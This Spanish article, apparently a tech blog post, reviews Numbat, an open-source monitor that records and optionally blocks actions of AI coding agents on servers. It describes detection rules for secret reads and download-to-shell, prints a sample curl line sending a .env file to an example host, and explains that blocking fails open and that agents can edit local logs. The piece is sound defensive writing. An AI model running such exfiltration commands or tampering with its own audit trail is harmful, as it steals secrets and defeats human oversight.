Numbat: vigila lo que hacen tus agentes de IA
Perplexity publicó Numbat, un monitor de endpoints que registra lo que hacen los agentes de código en tus servidores y aclara qué observa y qué no puede detener.
Qué es Numbat
Numbat permite saber qué hizo un agente de IA en una máquina que administra. Lee las devoluciones de llamada de los hooks y los archivos de sesión que los agentes de programación ya generan, los normaliza en un único formato de eventos y los compara con reglas que se activan ante comportamientos como leer una clave privada de SSH o canalizar una descarga directamente a un shell. Perplexity lo publicó como código abierto con licencia Apache 2.0. La primera versión etiquetada se publicó el 29 de julio de 2026.
Todo lo que aparece a continuación procede del repositorio del proyecto y de su documentación, consultados el 2 de agosto de 2026. El historial de versiones, los requisitos de instalación, el esquema de registros y la cobertura de agentes se comprobaron de nuevo en el repositorio el 12 de octubre de 2026. Cuando Perplexity hace una afirmación, este artículo lo indica. Esto no es un tutorial de instalación, porque el repositorio es reciente y sus comandos cambiarán.
El problema: nadie registra lo que hizo el agente
Un agente de programación en tu VPS ejecuta comandos de shell, lee archivos, escribe archivos y abre conexiones de red, todo con el usuario que le asignaste. El historial de tu shell no registra nada de eso porque el agente no escribe en tu shell. sshd registra tu inicio de sesión, pero no registra ninguna acción que el modelo decida realizar después. /var/log/auth.log permanece inactivo salvo que algo acceda a sudo. El agente mantiene su propia transcripción, pero ese archivo se encuentra en el directorio de sesión del agente, su formato cambia entre versiones y el propio proceso del agente puede escribir en él.
Por eso, cuando alguien pregunta si el agente leyó .env.production el martes pasado, la respuesta honesta en la mayoría de los servidores es que no puedes saberlo. Esa brecha es la razón por la que existe este proyecto.
Qué afirma Perplexity que hace Numbat
El README comienza describiendo la herramienta como «visibilidad del endpoint sobre la actividad de los agentes de IA, con detección local, bloqueo opcional antes de la acción y reconstrucción forense». Endpoint se refiere aquí al equipo donde se ejecuta el agente, no a un dispositivo de red que observa desde fuera. Son capacidades independientes y tienen distinto alcance.
La detección se ejecuta en el dispositivo. Las reglas se escriben en CEL (Common Expression Language) y se evalúan localmente. También admite reglas de secuencia de varios pasos y reglas propias en YAML. No es necesario que nada salga del equipo para que se active una regla.
El bloqueo es opcional y limitado. Sólo funciona mediante hooks síncronos previos a la acción y con los agentes que exponen uno. Está desactivado hasta que se habilita.
La reconstrucción se realiza después de los hechos. numbat scan analiza artefactos de sesión que el agente ya había escrito en disco, por lo que permite revisar actividad anterior a la instalación de la herramienta. El proyecto delimita esta afirmación con precisión: «La reconstrucción de datos en reposo no es una adquisición de disco o memoria y no puede recuperar actividad que el agente no haya persistido».
La salida utiliza NDJSON versionado (JSON delimitado por saltos de línea) para cubrir eventos, hallazgos, decisiones de aplicación, indicadores y resúmenes de análisis. La versión del esquema era 0.2.0 en v0.1.2. El esquema ha cambiado desde entonces: el 12 de octubre de 2026, el repositorio incluía las versiones 0.2.0, 0.3.0 y 0.4.0, y los ejemplos de registros del README mostraban la versión 0.4.0. Los registros se escriben en stdout o en un archivo local y, de forma opcional, se envían mediante HTTP a un collector que administre. La herramienta se distribuye como un único binario estático de Go compilado sin cgo, para macOS, Linux y Windows en amd64 y arm64. En un VPS con Linux, es un solo archivo y no requiere instalar previamente ningún runtime.
¿Qué agentes puede ver realmente Numbat?
La matriz de cobertura de docs/agent-coverage.md es la lista de referencia y no es uniforme. El proyecto lo indica claramente en lugar de ocultarlo. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI tienen análisis de artefactos y captura en tiempo real mediante un enlace previo a la acción. OpenClaw obtiene un plugin nativo a partir de la versión 2026.7.1. Hay muchas entradas marcadas como deferred. Esto significa que existe una ruta de enlace en tiempo real, pero no el analizador de artefactos. A menudo se debe a que el agente almacena su historial en SQLite con un registro de escritura anticipada que no se puede leer de forma segura mientras el agente está en ejecución. Cline CLI pertenece a ese grupo: sus enlaces en tiempo real funcionan, pero sus sesiones de SQLite no se analizan. OpenCode es un caso dividido. La matriz v0.1.2 analiza sus almacenes JSON anteriores y aplaza únicamente la base de datos opencode.db actual. No incluye ninguna aplicación de políticas previa a la acción para OpenCode, y la matriz de main seguía indicándolo así el 12 de octubre de 2026.
Compruebe la fila correspondiente a su agente antes de planificar cualquier cosa con esta herramienta, porque «compatible» significa algo diferente en casi cada línea.
Qué aspecto tiene una detección
Las reglas tienen identificadores que indican para qué sirven. secrets.read_private_key cubre una clave SSH, credenciales de AWS, una configuración de kube o un inicio de sesión en un registro de paquetes. exec.download_pipe_shell se activa cuando la salida de curl o wget se canaliza a un intérprete. privilege.elevated_shell detecta una solicitud de un shell interactivo de root mediante sudo, doas, su o pkexec. impact.cryptomining_launch coincide con binarios y nombres de imágenes de mineros conocidos.
Las reglas de secuencia relacionan eventos dentro de una misma sesión. chain.secret_read_then_egress requiere la lectura de un archivo secreto seguida de un comando que envía datos al exterior. El README publica el hallazgo siguiente a partir de una reproducción controlada de dos callbacks de preacción de Claude Code, no de un incidente real. Aquí se han dejado sólo los campos relevantes:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Observe "confidence": "medium" dentro del registro y tenga en cuenta lo que el proyecto indica sobre toda esta clase de salida: "Los hallazgos son coincidencias de reglas, no pruebas de compromiso." Un script de despliegue que lee una clave y después carga un artefacto de compilación coincidirá con esa misma regla de secuencia. La coincidencia es correcta, pero la alarma es incorrecta. Este es el estado normal de cualquier herramienta de detección que haya ejecutado.
El bloqueo está desactivado de forma predeterminada y falla de forma abierta
Todas las reglas que distribuye Numbat son sólo de monitorización. Convertir una regla en una regla de bloqueo requiere una acción deliberada: copie el YAML completo de la regla en su propio directorio, conserve el mismo id, añada enforce: true, incremente la versión y, después, valide e instale esa política.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceAhora viene la parte que determina cuánto debe confiar en ella. La denegación de Numbat es una respuesta que se devuelve al agente, y es el agente quien realmente rechaza la llamada a la herramienta. La guía de aplicación es clara sobre lo que ocurre cuando Numbat tiene un problema: «Las cargas malformadas, los errores de evaluación pertinentes, los pánicos y los fallos de salida suprimen la denegación de numbat». La entrada del hook está limitada a 4 MiB, y las entradas demasiado grandes siguen el mismo flujo.
La guía también es clara sobre el límite de una denegación que sí se aplica: «Fallar de forma abierta significa que numbat retiene su respuesta de denegación. No garantiza que la herramienta se ejecute: el host todavía puede solicitar confirmación, denegar, agotar el tiempo de espera o aplicar otro hook o una política adicional».
Por tanto, la aplicación de políticas aquí es una protección, no un límite de seguridad. Si el proceso se bloquea, Numbat no bloquea la acción, porque un monitor que congela el agente cada vez que tiene un problema se desinstala en menos de una semana. El compromiso es razonable. No cree un modelo de seguridad que presuponga que la denegación siempre llega.
Dónde encaja Numbat junto a lo que ya hace
Numbat se ejecuta en el endpoint, dentro del árbol de procesos del propio agente, y escribe en ~/.numbat/records.ndjson de forma predeterminada. Un agente que se ejecuta con su usuario puede leer ese archivo. También puede editarlo. El registro de auditoría sólo es tan fiable como el aislamiento que lo protege. Por eso, todos los controles que ya tiene deben situarse delante de este, no detrás.
Dar al agente de código una VM desechable limita lo que puede alcanzar una ejecución maliciosa. Usar un usuario con privilegios mínimos en el VPS impide que el agente acceda a archivos que no debería abrir. Mantener las credenciales fuera del contexto del agente hace que una coincidencia secrets.read_private_key sea lo bastante poco frecuente como para que merezca la pena leerla cuando se produce. Y el sandbox que configura para Claude Code en un VPS sigue siendo el mecanismo que proporciona el aislamiento. El aislamiento limita lo que una ejecución maliciosa puede modificar, mientras que documentar por qué el código tiene esa estructura reduce la frecuencia con la que el agente hace algo inesperado que le obliga a consultar el registro.
Lo que añade Numbat es el registro, así que envíelo a un lugar al que el agente no pueda acceder. numbat ship y el receptor HTTP sirven para eso. Una copia del flujo en una segunda máquina marca la diferencia entre un archivo de registro y una evidencia. El modelo de eventos también incluye campos de MCP (protocolo de contexto del modelo), por lo que las llamadas a herramientas que salen a través de un servidor MCP que aloja en un VPS terminan en el mismo flujo que los comandos de shell locales. Esto es importante porque esa ruta es invisible para cualquier mecanismo que supervise sólo bash. El mismo punto ciego afecta a una instancia de SearXNG configurada como backend de búsqueda del agente, donde el riesgo llega en forma de texto de páginas no confiables que entra en el contexto del modelo, y no como un comando que pueda coincidir con alguna regla.
Pruébelo primero en modo de solo lectura
Instale una versión fijada. El comando siguiente fija v0.1.2, cuyo README requiere Go 1.26.5 o posterior. El README de main requería Go 1.26.6 o posterior el 12 October 2026. Ese cambio llegó con v0.2.0, por lo que debe usar 1.26.6 si fija una etiqueta más reciente. La página de releases incluye binarios precompilados con sumas de comprobación SHA-256 si prefiere no compilar desde el código fuente.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents detecta los agentes instalados en el equipo. numbat scan analiza los artefactos de sesión que ya están en el disco e imprime registros. El README indica que estos comandos «no instalan hooks ni cambian la configuración de los agentes» y que numbat «nunca ejecuta agentes ni comandos encontrados en los artefactos, y sólo realiza solicitudes salientes a los destinos HTTP configurados». El análisis es de solo lectura y redacta los secretos. La salida normal de los registros nunca incluye una transcripción sin procesar completa.
La captura en vivo es el paso siguiente y sí cambia la configuración del agente:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all escribe eventos, hallazgos, indicadores y las decisiones de aplicación correspondientes en ~/.numbat/records.ndjson. Hay dos advertencias directamente derivadas del proyecto. Es posible que los hooks deban marcarse como confiables dentro del agente antes de ejecutarse, y esa confianza debe revisarse de nuevo después de cambiar flags como --enforce. Además, hook status «verifica la configuración, no la ejecución ni la entrega», por lo que una línea de estado correcta no demuestra que los registros estén llegando a ningún destino.
Por qué un repositorio tan nuevo no es una dependencia
A fecha del 12 October 2026, las versiones públicas son v0.1.1, del 29 July 2026; v0.1.2, del 1 August 2026; y v0.2.0, del 17 August 2026. La página de releases marca esta última como la más reciente. El repositorio tenía 597 estrellas cuando se redactó esta publicación, el 2 August 2026. Un crecimiento tan rápido refleja la audiencia de Perplexity, no la solidez del código. Una estrella significa que alguien guardó la página para consultarla más adelante.
El número de versión indica con claridad el nivel de madurez. Las notas de v0.1.2 se centran principalmente en correcciones de redacción de credenciales, además de trabajos de normalización de paquetes de casos y telemetría. Las notas de v0.2.0 añaden la captura acotada del contenido de los mensajes, la aplicación de la lectura de archivos de Cursor mediante su hook beforeReadFile y más correcciones de redacción. Los errores de redacción son el tipo de defecto esperado en las primeras versiones de una herramienta cuya función es leer de forma segura las transcripciones de otros programas. Habrá más errores, porque las entradas proceden de una docena de agentes que cambian sus formatos según sus propios ciclos.
De aquí se desprenden dos reglas prácticas. Fije el tag, nunca @latest, en todo lo que conserve. Y considérelo un instrumento en evaluación, no un control del que dependa, al menos hasta que el esquema de registros deje de cambiar. Todavía no ha dejado de cambiar: pasó de 0.2.0 en v0.1.2 a 0.4.0 en el README de main en unos diez semanas.
FAQ
¿Numbat bloquea los comandos peligrosos de los agentes de IA?
Sólo si lo habilita y sólo con el mejor esfuerzo posible. Todas las reglas que distribuye Numbat funcionan únicamente en modo de monitorización. Para bloquear, copie el YAML de la regla en su propio directorio, conserve su id, añada enforce: true, incremente la versión e instale el hook con --enforce. Incluso en ese caso, la denegación se devuelve al agente como una respuesta, y es el agente quien rechaza la llamada. El proyecto documenta un comportamiento de apertura ante fallos: las cargas con formato incorrecto, los errores de evaluación, los panics y los fallos de salida suprimen la denegación. Úselo como medida de protección, no como su único límite de seguridad.
¿Qué agentes de IA admite Numbat?
La cobertura varía según el agente y se indica en docs/agent-coverage.md del repositorio. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI tenían tanto análisis de artefactos como captura en tiempo real cuando se consultó esa página, el 2 de agosto de 2026, y OpenClaw dispone de un plugin nativo desde la versión 2026.7.1. Muchos otros agentes aparecen con una ruta de hook en tiempo real, pero todavía sin parser de artefactos. Esto suele deberse a que su historial de sesión se almacena en una base de datos SQLite que no es seguro leer mientras el agente está en ejecución. Consulte la fila correspondiente a su agente, porque allí la palabra "compatible" abarca varios niveles distintos.
¿Puede el agente manipular los registros de Numbat?
Sí, si se ejecuta con el mismo usuario. De forma predeterminada, los registros se almacenan en ~/.numbat/records.ndjson en la misma máquina que el agente, por lo que cualquier proceso con acceso de escritura a esa ruta puede modificarlos o eliminarlos. Envíe el flujo a un collector al que el agente no pueda acceder, mediante numbat ship o el sink HTTP, y conserve el archivo local como copia de conveniencia. Por eso la herramienta complementa el aislamiento en lugar de sustituirlo. Un agente confinado en una VM desechable y ejecutado con un usuario con privilegios mínimos tiene mucho menos acceso a su propia traza de auditoría.
¿Está Numbat preparado para un servidor de producción?
No como control del que dependa. La primera versión pública fue v0.1.1, el 29 de julio de 2026; v0.1.2 llegó el 1 de agosto de 2026 y v0.2.0, el 17 de agosto de 2026. Además, el 12 de octubre de 2026, el esquema de registros del README ya había alcanzado la versión 0.4.0. Por tanto, tanto los flags como el esquema de registros siguen cambiando. Ejecutar numbat agents y numbat scan en un equipo es una operación de sólo lectura y de bajo riesgo, y permite saber qué han dejado sus agentes en el disco. Instalar hooks de aplicación de políticas en un servidor importante es una decisión diferente. Requiere fijar un tag y definir qué debe ocurrir si el hook funciona de forma incorrecta.